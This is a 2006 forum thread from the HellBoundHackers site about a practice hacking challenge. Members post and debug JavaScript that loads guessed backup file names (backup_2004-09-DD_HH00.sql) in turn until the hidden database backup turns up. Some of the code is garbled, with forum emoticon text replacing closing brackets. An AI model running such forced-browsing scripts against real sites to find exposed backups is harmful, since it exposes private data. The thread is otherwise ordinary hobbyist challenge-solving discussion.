Follow us on Twitter!
Ideas are far more powerful than guns.
Saturday, April 19, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 23
Guests Online: 22
Members Online: 1

Registered Members: 82843
Newest Member: hx47
Latest Articles
View Thread

HellBound Hackers | Challenges | Realistic

Author

Real 2 with javascript i need help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 03-02-06 13:43
i do it :
</HEAD>
<script type="text/javascript">
function larika()
{
i = 0
j = 0
var day = new Array("01","02","03","04","05","06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30","31"Wink
var hour = new Array("00","01","02","03","04","05","06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24"Wink
url = "http://hellboundhackers.org/challenges/real2/backups/backup_2004-09-"+(day.valueOf[i]))+"_"+(hour.valueOf[j])+"00.sql"

while (i <= 31)
{
while (j <= 24)
{
window.location(url)
j = j+1}
i = i+1}
}

</script>
<TITLE>Larica src</TITLE>
</HEAD>
<BODY>
<input type="button" value="Check" onclick="larika()" /></BODY>
</HTML>

Can anyone help me to understand what i'm wrong? Thanks
Author

RE: Real 2 with javascript i need help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 03-02-06 14:17
whoa,

So it seems to me that you are trying to make a keygen for finding the file?

I dont see where it's going to tell you where the file is. Ok; you have a submit but where is it going to show you?

SwiftNomad




Edited by on 03-02-06 14:33
Author

RE: Real 2 with javascript i need help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 03-02-06 15:45
Cute but isn't this a little on the 'too much info' side? And no offence, but seems weird that you wrote that script and yet can't see the obvious bug as to why it's not working.
Author

RE: Real 2 with javascript i need help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 03-02-06 17:05
Sorry guy and thanks for replyes!

My intenction was to see if my "first" script was capable to open almoust a page (url)!!! Now i'm working to correct the errors and the i'm thinking to a output that write a message whit the right url. To do this i'm thinking to controll the server response but still i dont know how do it.

Thank you very much for attention
Author

RE: Real 2 with javascript i need help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 03-02-06 17:26
i've seen that my array is undefined. I have to correct this....
Author

RE: Real 2 with javascript i need help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 03-02-06 18:00
Ho can i controll the server response?

i correct my script to this :

</HEAD>
<script type="text/javascript">
function larika()
{
i = 0
j = 0

var day = new Array("01","02","03","04","05","06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30","31"Wink;
var hour = new Array("00","01","02","03","04","05","06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24"Wink;
var url = "http://hellboundhackers.org/challenges/real2/backups/backup_2004-09-"+day[i]+"_"+hour[j]+"00.sql";

while (i <= 31)
{
while (j <= 24)
{
j = j+1}
i = i+1}
}

</script>
<TITLE>Larica src</TITLE>
</HEAD>
<BODY>
<input type="button" value="Check" onclick="larika()" /></BODY>
</HTML>

Now i wont to controll the server response for each url and open a new page whit the right url.
Anyone can help me with this? Thanks
Author

RE: Real 2 with javascript i need help

AldarHawk
Member



Posts: 1690
Location: Canada
Joined: 26.01.06
Rank:
Hacker Level 1
Posted on 13-03-06 15:53
good question...I would like to know the answer to this question as well.

What I want to see is the output be placed on the page when it finds a file saying the URL "<urlpath here>" has been found.

Now how to do that I know not for I suck at programming...any help would be cool


Just ask Yahoo!Taboo! http://www.erikwestlake.com
Author

RE: Real 2 with javascript i need help

AldarHawk
Member



Posts: 1690
Location: Canada
Joined: 26.01.06
Rank:
Hacker Level 1
Posted on 14-03-06 13:42
I got it with a somewhat bruteforce way....made a calendar and made each hour of each day link to the appropriate part. No fun all that damn "Tab, Enter, Backspace, repeat!!!" but I got it Wink



Just ask Yahoo!Taboo! http://www.erikwestlake.com
Author

RE: Real 2 with javascript i need help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 14-04-06 10:39
I dont think that the script needs to be too complicated, I did it with just two simple functions.

I liked this challenge

THX

Dantronix Grin


Author

RE: Real 2 with javascript i need help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 14-04-06 12:44
javascript is client side.


Author

RE: Real 2 with javascript i need help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 16-04-06 19:16
i suck at programming theres no way i can make the program on my own



Author

RE: Real 2 with javascript i need help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 17-04-06 06:01
you should learn then. javascript isnt a hard language


Author

RE: Moded


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 11-05-06 01:50
Idk what i would call this but i upgraded the script a lil
<html>
<head>
<script type="text/javascript">
function larika(i,j)
{
var day = new Array("0","01","02","03","04","05","06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30","31"Wink;
var hour = new Array("00","01","02","03","04","05","06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24"Wink;
document.getElementById("frm"Wink.src="http://hellboundhackers.org/challenges/real2/backups/backup_2004-09-"+(day[i])+"_"+(hour[j])+"00.sql";
document.getElementById("txt"Wink.innerHTML="The Current number it is on is I: "+i+", and J: "+j+" that means that the file is <br />backup_2004-09-"+(day[i])+"_"+(hour[j])+"00.sql";
if(j<=23) {
j = j+1;
t = setTimeout("larika("+i+","+j+"Wink", 1000);
} else {
if(i<=30) {
i = i+1;
t = setTimeout("larika("+i+", 0)", 1000);
}
}
}
function stopCount()
{
clearTimeout(t)
}
</script>
<TITLE>Larika moded</TITLE>
</HEAD>
<BODY onload="larika(1,0);"><table align="center"><tr><td>
<iframe width="500px" height="200px" id="frm" src="http://hellboundhackers.org/challenges/real2/backups/backup_2004-09-00_0000.sql" ></iframe>
</td></tr><tr><td align="center"><input type="button" onclick="stopCount();" value="stop" /></td></tr><tr><td align="center"><p id="txt">Run Script :-)</p></td></tr></table>
</BODY>
</HTML>
Author

RE: Real 2 with javascript i need help


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 11-05-06 18:06
Hmmm i think i might have a vulun for that script.
alert(day[i])+"_"+(hour[j])
Im not quite sure i have diferent variations but that was my first guess.